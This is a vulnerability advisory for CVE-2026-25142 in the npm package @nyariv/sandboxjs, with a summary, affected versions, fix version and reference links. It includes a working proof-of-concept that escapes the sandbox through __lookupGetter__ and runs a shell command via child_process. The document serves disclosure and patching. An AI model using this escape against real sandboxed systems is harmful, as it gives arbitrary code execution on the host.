CVE-2026-25142
SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE
Impact
### Summary SandboxJS does not properly restrict `__lookupGetter__` which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution. ### Details https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398 The Object prototype which contains `__lookupGetter__` is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype. ### PoC ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` let getProto = Object.toString.__lookupGetter__("__proto__") let m = getProto.call(new Map()); m.has = isFinite; console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );` sb.compile(payload)().run(); ``` ### Impact Prototype Pollution -> RCE
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @nyariv/sandboxjs | <= 0.8.26 | 0.8.27 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Nyariv | Sandboxjs | before 0.8.27 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398
- https://github.com/nyariv/SandboxJS/commit/75c8009db32e6829b0ad92ca13bf458178442bd3
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-9p4w-fq8m-2hp7
- https://github.com/advisories/GHSA-9p4w-fq8m-2hp7
- https://nvd.nist.gov/vuln/detail/CVE-2026-25142